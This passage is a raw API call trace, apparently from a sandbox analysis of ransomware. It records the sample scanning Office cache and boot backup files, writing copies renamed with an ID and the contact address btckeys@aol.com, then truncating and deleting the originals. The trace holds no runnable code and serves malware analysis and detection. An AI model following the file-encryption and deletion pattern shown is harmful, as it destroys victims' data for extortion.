lstrlenW (lpString=".xlsx") returned 5 [0082.012] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0082.012] lstrlenW (lpString=".ppt") returned 4 [0082.012] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.012] lstrlenW (lpString=".zip") returned 4 [0082.012] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString=".rar") returned 4 [0082.012] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString=".bz2") returned 4 [0082.012] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0082.012] lstrlenW (lpString=".7z") returned 3 [0082.012] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0082.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.012] lstrlenW (lpString=".dbf") returned 4 [0082.012] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0082.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.012] lstrlenW (lpString=".1cd") returned 4 [0082.012] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0082.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.012] lstrlenW (lpString=".jpg") returned 4 [0082.012] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString=".doc") returned 4 [0082.013] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString=".docx") returned 5 [0082.013] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0082.013] lstrlenW (lpString=".pdf") returned 4 [0082.013] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString=".xls") returned 4 [0082.013] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString=".xlsx") returned 5 [0082.013] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0082.013] lstrlenW (lpString=".ppt") returned 4 [0082.013] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString=".zip") returned 4 [0082.013] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString=".rar") returned 4 [0082.013] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString=".bz2") returned 4 [0082.013] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0082.013] lstrlenW (lpString=".7z") returned 3 [0082.013] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString=".dbf") returned 4 [0082.013] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString=".1cd") returned 4 [0082.013] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0082.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0082.013] lstrlenW (lpString=".jpg") returned 4 [0082.014] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0082.014] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0082.014] lstrlenW (lpString="VisiorWW.cab") returned 12 [0082.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0x600 [0060.803] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38b06a0 [0060.803] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38c06a8 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003f8 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030d8 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500410 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3c90020 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500428 [0060.804] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500428, Size=0x20) returned 0x52f910 [0060.804] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500428 [0060.804] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500428, Size=0x20) returned 0x52f938 [0060.804] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.804] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.804] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff58 | out: OldValue=0x316ff58*=0x0) returned 1 [0060.805] lstrlenW (lpString="kernel32.dll") returned 12 [0060.805] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.805] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.805] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.805] Sleep (dwMilliseconds=0x64) [0061.062] Sleep (dwMilliseconds=0x64) [0061.393] Sleep (dwMilliseconds=0x64) [0062.383] lstrcmpiW (lpString1=".BAK", lpString2=".2020") returned 1 [0062.383] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0062.383] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0062.415] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8192) returned 1 [0062.424] CloseHandle (hObject=0x174) returned 1 [0062.424] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0062.424] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\bootsect.bak.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.424] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0062.428] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0062.428] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.428] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.428] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\bootsect.bak.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.559] GetLastError () returned 0x0 [0062.559] ReadFile (in: hFile=0x174, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2000, lpOverlapped=0x0) returned 1 [0062.571] WriteFile (in: hFile=0x180, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0062.572] ReadFile (in: hFile=0x174, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.572] WriteFile (in: hFile=0x180, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.572] SetEndOfFile (hFile=0x180) returned 1 [0062.573] CloseHandle (hObject=0x180) returned 1 [0062.574] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.574] SetEndOfFile (hFile=0x174) returned 1 [0062.575] CloseHandle (hObject=0x174) returned 1 [0062.575] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x27) returned 1 [0062.575] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0062.576] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.576] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.576] lstrlenW (lpString=".doc") returned 4 [0062.576] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".docx") returned 5 [0062.576] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0062.576] lstrlenW (lpString=".pdf") returned 4 [0062.576] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".xls") returned 4 [0062.576] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".xlsx") returned 5 [0062.576] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0062.576] lstrlenW (lpString=".ppt") returned 4 [0062.576] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.576] lstrlenW (lpString=".zip") returned 4 [0062.576] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".rar") returned 4 [0062.576] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".bz2") returned 4 [0062.576] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0062.576] lstrlenW (lpString=".7z") returned 3 [0062.576] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0062.576] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.576] lstrlenW (lpString=".dbf") returned 4 [0062.576] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString=".1cd") returned 4 [0062.577] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString=".jpg") returned 4 [0062.577] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString=".doc") returned 4 [0062.577] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".docx") returned 5 [0062.577] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0062.577] lstrlenW (lpString=".pdf") returned 4 [0062.577] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".xls") returned 4 [0062.577] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".xlsx") returned 5 [0062.577] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0062.577] lstrlenW (lpString=".ppt") returned 4 [0062.577] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString=".zip") returned 4 [0062.577] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".rar") returned 4 [0062.577] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".bz2") returned 4 [0062.577] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0062.577] lstrlenW (lpString=".7z") returned 3 [0062.577] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0062.577] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.577] lstrlenW (lpString=".dbf") returned 4 [0062.577] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0062.578] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.578] lstrlenW (lpString=".1cd") returned 4 [0062.578] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0062.578] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0062.578] lstrlenW (lpString=".jpg") returned 4 [0062.578] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0062.578] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.578] lstrlenW (lpString="WordMUI.xml") returned 11 [0062.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.047] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1800) returned 1 [0063.047] CloseHandle (hObject=0x198) returned 1 [0063.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0063.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.047] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.047] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.048] GetLastError () returned 0x0 [0063.048] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x708, lpOverlapped=0x0) returned 1 [0063.433] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x710, lpOverlapped=0x0) returned 1 [0063.435] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.435] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0063.435] SetEndOfFile (hFile=0x19c) returned 1 [0063.435] CloseHandle (hObject=0x19c) returned 1 [0063.438] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.438] SetEndOfFile (hFile=0x198) returned 1 [0063.439] CloseHandle (hObject=0x198) returned 1 [0063.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.439] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0063.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.440] lstrlenW (lpString=".doc") returned 4 [0063.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString=".docx") returned 5 [0063.440] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.440] lstrlenW (lpString=".pdf") returned 4 [0063.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString=".xls") returned 4 [0063.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString=".xlsx") returned 5 [0063.440] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.440] lstrlenW (lpString=".ppt") returned 4 [0063.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.440] lstrlenW (lpString=".zip") returned 4 [0063.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.440] lstrlenW (lpString=".rar") returned 4 [0063.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString=".bz2") returned 4 [0063.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.440] lstrlenW (lpString=".7z") returned 3 [0063.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.441] lstrlenW (lpString=".dbf") returned 4 [0063.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.441] lstrlenW (lpString=".1cd") returned 4 [0063.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.441] lstrlenW (lpString=".jpg") returned 4 [0063.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.441] lstrlenW (lpString=".doc") returned 4 [0063.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.441] lstrlenW (lpString=".docx") returned 5 [0063.441] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.442] lstrlenW (lpString=".pdf") returned 4 [0063.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString=".xls") returned 4 [0063.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString=".xlsx") returned 5 [0063.442] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.442] lstrlenW (lpString=".ppt") returned 4 [0063.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.442] lstrlenW (lpString=".zip") returned 4 [0063.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.442] lstrlenW (lpString=".rar") returned 4 [0063.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString=".bz2") returned 4 [0063.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString=".7z") returned 3 [0063.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.442] lstrlenW (lpString=".dbf") returned 4 [0063.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.442] lstrlenW (lpString=".1cd") returned 4 [0063.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0063.443] lstrlenW (lpString=".jpg") returned 4 [0063.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.443] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.443] lstrlenW (lpString="Setup.xml") returned 9 [0063.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.443] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1852) returned 1 [0063.443] CloseHandle (hObject=0x198) returned 1 [0063.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0063.444] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0063.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.444] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.444] GetLastError () returned 0x0 [0063.444] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x73c, lpOverlapped=0x0) returned 1 [0063.517] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x740, lpOverlapped=0x0) returned 1 [0063.518] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.518] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.519] SetEndOfFile (hFile=0x19c) returned 1 [0063.519] CloseHandle (hObject=0x19c) returned 1 [0063.530] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.530] SetEndOfFile (hFile=0x198) returned 1 [0063.531] CloseHandle (hObject=0x198) returned 1 [0063.531] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.532] 